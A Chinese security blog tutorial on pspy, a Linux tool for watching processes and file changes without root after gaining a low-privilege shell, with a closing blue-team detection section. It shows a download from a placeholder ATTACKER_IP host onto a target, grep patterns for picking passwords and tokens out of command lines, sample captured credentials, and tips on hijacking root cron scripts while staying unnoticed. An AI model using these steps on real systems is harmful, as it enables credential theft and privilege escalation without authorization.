文章总结: 本文系统介绍pspy工具,一款Go编写的无需root权限即可监控Linux进程与文件变动的单二进制工具。其原理基于读取/proc文件系统与inotify监听,可捕获短命进程与管理员操作。文章详述四个版本选择、传输方法、核心参数及五个实战场景,包括发现隐藏cron任务、捕获明文密码、监控管理员行为等,并给出参数调优建议与蓝队检测视角。该工具在CTF与后渗透阶段不可或缺,建议与linpeas互补使用。
综合评分: 88
文章分类: 渗透测试,红队,CTF,应急响应,安全工具
【工具学习26】pspy:让你无root也能看透系统里谁在干什么
原创
CabinQ
CabinQ
逆熵寻生
2026年9月21日 09:55
浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
拿到shell后两眼一抹黑?pspy让你无root也能看透系统里谁在干什么
渗透测试中有一个场景:好不容易拿到一个低权限 shell,却不知道这台机器上到底在跑什么。crontab 看不了,其他用户的进程看不到,管理员什么时候执行了什么命令更是一无所知。
pspy 就是为这个场景而生的。它是 Go 写的一个单二进制工具,不需要 root 权限,不需要任何特殊 capability,丢上去就能跑,实时监控整个系统的进程和文件变动。GitHub 上 14k+ star,几乎是 CTF 和后渗透阶段的标配。
原理:读 /proc 不需要特权
pspy 的核心思路其实很朴素——Linux 的 /proc 文件系统对普通用户开放了大部分进程的只读信息。pspy 做了两件事:
第一,周期性扫描 /proc/[0-9]+/,从 cmdline、status、stat 里提取 PID、PPID、UID 和完整命令行。它不是像 ps aux 那样拍一张快照就结束,而是持续轮询,每 100ms 扫一次。那些跑完就消失的短命进程——比如 cron 触发的脚本——用 ps 根本抓不到,pspy 不会漏。
第二,在关键目录上注册 inotify 监听,实时捕获文件创建、修改、删除事件。默认监控 /usr、/tmp、/etc、/home、/var、/opt。当文件系统事件触发时,pspy 会立即扫描 /proc 获取对应的进程信息。
两个机制配合,既不会漏掉一闪而过的进程,也能看到谁在什么时候动了什么文件。而且全程不需要 ptrace、不需要 CAPSYSPTRACE,任何普通用户都能跑。
四个二进制,按需选择
pspy 提供四个预编译版本:
| 二进制 | 架构 | 大小 | inotify 支持 |
| — | — | — | — |
| pspy32 | x86 | ~2.5 MB | 有 |
| pspy64 | x86_64 | ~3 MB | 有 |
| pspy32s | x86 | ~1 MB | 无(精简版) |
| pspy64s | x86_64 | ~1.2 MB | 无(精简版) |
带 s 后缀的是 stripped 版本,去掉了 inotify 支持,体积缩小一半以上。如果目标机器磁盘空间紧张或者传输带宽有限,用精简版就够了。需要监控文件变动(比如观察管理员往 /tmp 写了什么),就用完整版。
传输到目标机器
实战中拿到 shell 后,传工具是个技术活。几种常用方式:
方式一:目标有 wget/curl
攻击机开 HTTP 服务
python3 -m http.server 8080
目标机器下载
wget http://ATTACKER_IP:8080/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
方式二:目标没有 wget/curl,用 base64 传
攻击机编码
base64 -w0 pspy64 > pspy64.b64
目标机器解码(直接粘贴或通过 shell 写入)
base64 -d pspy64.b64 > /tmp/pspy64 &&chmod +x /tmp/pspy64
方式三:通过已有的反弹 shell 传输
在攻击机执行
cat pspy64 | base64 | xclip -sel clip
在反弹 shell 里粘贴解码
echo ‘
注意 /tmp 是最常见的落地点,但有些环境挂载了 noexec。如果遇到权限问题,可以试 /dev/shm(内存文件系统,通常可执行)或者当前用户的 home 目录。
核心用法
最基本的使用,什么都不用加:
./pspy64
启动后屏幕上会实时刷出进程信息,格式清晰:
2026/08/3114:08:16 CMD: UID=0 PID=608 | /usr/sbin/sshd -D [listener] 0 of 10-100 startups
2026/08/3114:08:16 CMD: UID=0 PID=462 | /usr/sbin/cron -f
2026/08/3114:09:01 CMD: UID=0 PID=1247 | /bin/sh-c /opt/scripts/backup.sh
2026/08/3114:09:01 CMD: UID=0 PID=1248 | /usr/bin/python3 /opt/scripts/backup.sh –full
关键看 UID=0 的行——这些是 root 跑的进程。上面这个例子中,root 在每分钟执行一个备份脚本,这就是一个潜在的提权突破口:如果这个脚本里引用了你能写的文件,或者脚本的参数可以被劫持,提权就到手了。
常用参数组合
同时监控进程和文件系统事件,每 500ms 扫描一次
./pspy64 -pf -i 500
只关注特定目录的文件变动
./pspy64 -f -r /home/admin -r /var/www
用颜色区分不同用户的进程(方便肉眼识别 root 进程)
./pspy64 -c
完整实战配置:进程+文件系统+颜色+自定义扫描间隔
./pspy64 -pf -c -i200 -r /home -r /tmp -r /opt
参数说明:
🔹 -p:打印进程事件(默认开启)
🔹 -f:打印文件系统事件(默认关闭)
🔹 -i:procfs 扫描间隔,单位毫秒,默认 1000
🔹 -r:递归监控目录(可多次指定)
🔹 -d:非递归监控目录
🔹 -c:彩色输出
输出过滤技巧
pspy 的输出量可能很大,实战中建议配合过滤使用:
只看 root 进程
./pspy64 | grep “UID=0”
只看 cron 相关
./pspy64 | grep -i cron
只看包含密码/密钥参数的进程(凭据泄露检测)
./pspy64 | grep -iE “password|passwd|secret|key|token|api”
输出到文件慢慢分析
./pspy64 -pf > /tmp/pspy_output.log 2>&1 &
五个实战场景
场景一:发现隐藏的 cron 任务
这是 pspy 最经典的用法。拿到 shell 后,crontab -l 看不到什么,/etc/crontab 也没有异常。但跑起 pspy 等几分钟,经常能发现 root 在定时执行某些脚本。
2026/08/3115:00:01 CMD: UID=0 PID=3421 | /bin/sh-c /usr/local/bin/cleanup.sh
2026/08/3115:00:01 CMD: UID=0 PID=3422 | /bin/bash /usr/local/bin/cleanup.sh
接下来要做的就是:检查 cleanup.sh 的内容和权限。如果脚本里调用了你当前用户可写的某个文件,或者脚本本身有可写的父目录,就可以通过篡改脚本内容来提权。
场景二:捕获命令行中的明文密码
很多管理员习惯不好,会在命令行里直接传密码:
2026/08/3116:23:45 CMD: UID=0 PID=5678 | mysql -u root -pSuperSecret123
2026/08/3116:24:12 CMD: UID=1000 PID=5690 | curl-u admin:P@ssw0rd! https://api.internal/
2026/08/3116:25:33 CMD: UID=0 PID=5712 | /usr/bin/rsync -avz-e”ssh -P MyKey123″ /data/ [email protected]:/backup/
这些信息通过 ps aux 只能看到执行瞬间的快照,用 pspy 持续监控则不会错过。
场景三:监控管理员行为
在多用户系统或跳板机上,管理员经常登录执行操作。pspy 可以实时看到他们做了什么:
2026/08/3117:00:05 CMD: UID=0 PID=6001 | sudo su –
2026/08/3117:00:12 CMD: UID=0 PID=6015 | cat /etc/shadow
2026/08/3117:01:30 CMD: UID=0 PID=6023 | vim /etc/passwd
2026/08/3117:02:45 CMD: UID=0 PID=6040 | scp /root/backup.tar.gz admin@external:/tmp/
这不仅能帮你在渗透测试中找到提权路径,在安全审计场景中也能发现管理员的不当操作。
场景四:文件系统监控发现部署行为
开启 -f 参数后,pspy 会报告文件变动事件:
2026/08/3118:00:01 FS CREATE /var/www/html/config.php.new
2026/08/3118:00:03 FS CLOSE_WRITE /var/www/html/config.php.new
2026/08/3118:00:03 FS DELETE /var/www/html/config.php
2026/08/3118:00:03 FS CREATE /var/www/html/config.php
2026/08/3118:00:15 CMD: UID=0 PID=7001 | /bin/systemctl restart nginx
上面这组事件说明有人在更新 Web 配置并重启服务。如果这个过程中有你可以利用的时间窗口(比如新旧配置切换的瞬间),就可以做一些中间人操作。
场景五:CTF 中的标准流程
在 CTF 比赛中,pspy 几乎是标准流程的一环。典型套路:
-
拿到低权限 shell
-
上传 pspy,运行
./pspy64 -pf -i 200 -
等待 root 进程出现,重点关注:
🔹 可写路径下的脚本执行
🔹 SUID 程序调用
🔹 包含凭据的命令行
🔹 定期任务触发的可写文件操作
- 根据发现的线索构造提权路径
参数调优经验值
不同场景下的推荐配置:
| 场景 | 推荐参数 | 说明 |
| — | — | — |
| 快速侦察 | ./pspy64 | 默认配置,先看个大概 |
| 抓 cron 任务 | ./pspy64 -i 500 | 缩短扫描间隔,避免漏掉短命进程 |
| 全面监控 | ./pspy64 -pf -i 200 | 进程+文件系统,50ms 级别扫描 |
| 低资源目标 | ./pspy64s -i 2000 | 精简版+放宽间隔,减少性能影响 |
| 定向监控 | ./pspy64 -f -r /home/user | 只盯一个目录 |
扫描间隔不是越小越好。-i 100 在负载较高的系统上会产生大量 I/O,可能影响目标性能,也更容易被发现。一般 200-1000ms 是合理范围。
同类工具对比
| 特性 | pspy | 传统 ps/top | linpeas |
| — | — | — | — |
| 需要 root | 否 | 否(但看不到其他用户) | 否 |
| 持续监控 | 是 | 否(一次性快照) | 否(静态检查) |
| 捕获短命进程 | 是 | 否 | 否 |
| 文件系统监控 | 是 | 否 | 否 |
| 单二进制 | 是(1-3MB) | 系统自带 | 否(shell 脚本) |
| 依赖 | 无 | 无 | bash + 常用工具 |
| 适合场景 | 后渗透/CTF | 系统管理 | 提权枚举 |
pspy 和 linpeas 不是替代关系,而是互补。linpeas 做的是静态配置检查(SUID、capabilities、可写目录等),pspy 做的是动态行为监控。实战中两个都跑起来效果最好。
蓝队检测视角
pspy 本身非常隐蔽——它只读 /proc 和注册 inotify,不创建网络连接,不写特殊文件,不加载内核模块。但仍然有办法发现它:
🔹 进程列表:pspy 自身的进程会出现在 ps 输出中,名称是 pspy64 或 pspy32
🔹 /proc 扫描检测:频繁的 /proc 遍历会产生一定的 I/O,可以通过 auditd 或 eBPF 工具监控
🔹 文件哈希:检查已知 pspy 二进制的哈希值
🔹 inotify 限制:可以通过 sysctl fs.inotify.max_user_watches=0 禁用非特权用户的 inotify(但这会影响正常应用)
实际防御中,更有效的做法是:不在命令行传密码、确保 cron 脚本不可被低权限用户修改、定期检查系统上的未知二进制文件。
小结
pspy 的哲学就是 Unix 的”做好一件事”——无特权进程监控,它做到了极致。不需要 root,不需要配置,丢上去就跑。1MB 的精简版就能覆盖最核心的需求,在 CTF 和后渗透场景中几乎是不可或缺的工具。
拿到 shell 后的第一件事,不是急着提权,而是先用 pspy 看清楚这台机器上到底在发生什么。信息就是力量。
关注我,持续不断地成长!
往期推荐:
【工具学习19】httpx 迅速定位真正存活的 HTTP 服务
【工具学习21】Subfinder :12000 Star 的被动子域名侦察利器
【工具学习23】BloodHound:一条路径从普通域用户到Domain Admin
【工具学习24】BloodHound进阶(二):Cypher查询与三条深度攻击路径
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:逆熵寻生 CabinQ
CabinQ《【工具学习26】pspy:让你无root也能看透系统里谁在干什么》